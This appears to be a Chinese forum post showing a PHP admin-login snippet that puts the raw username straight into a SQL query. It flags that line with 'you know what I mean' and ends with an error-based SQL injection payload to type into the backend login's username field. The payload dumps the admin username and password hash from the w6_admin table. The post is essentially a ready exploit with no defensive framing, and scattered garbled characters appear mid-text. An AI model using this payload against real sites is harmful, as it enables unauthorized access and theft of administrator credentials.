看代码。。
01 |
……若干…… |
02 |
if ( ! $postdb [ "userid" ] || ! $postdb [ "pwd" ] ) |
03 |
{ |
04 |
echo "<div align=\"center\" class=\"style1\">" ; |
05 |
echo "您输入的用户名或密码有误!!!" ; |
06 |
echo "</div>" ; |
07 |
exit ; |
08 |
} |
09 |
10 |
$postdb [ "pwd" ]=md5( $postdb [ "pwd" ]); |
11 |
12 |
13 |
$query = "SELECT * FROM `w6_admin` WHERE `userid` ='" . $postdb [ "userid" ]. "'" ; //你懂的 |
14 |
15 |
$result =mysql_query( $query ) or die ( "Could not connect: " . mysql_error()); |
16 |
|
17 |
$num = mysql_num_rows( $result ); |
18 |
|
19 |
if ( $num == 0 ) |
20 |
{ |
21 |
echo "<div align=\"center\" class=\"style1\">" ; |
22 |
echo "您输入的用户名或密码有误!!!" ; |
23 |
echo "</div>" ; |
24 |
exit ; |
25 |
} |
26 |
|
27 |
$_pwd = stripslashes (mysql_result( $result , "0" , "pwd" )); |
28 |
$gptype = stripslashes (mysql_result( $result , "0" , "gptype" )); |
29 |
$adminid = stripslashes (mysql_result( $result , "0" , "id" )); |
30 |
……若干…… |
test: - 低调求发展5 E% z1 ]' U9 X3 N2 D% D2 H0 x
! B3 U" i' h: u1 i/ B( c8 w) k
在后台登陆的用户名输入
' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,w6_admin.userid,0x27,0x7e,w6_admin.pwd) from w6_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1'/*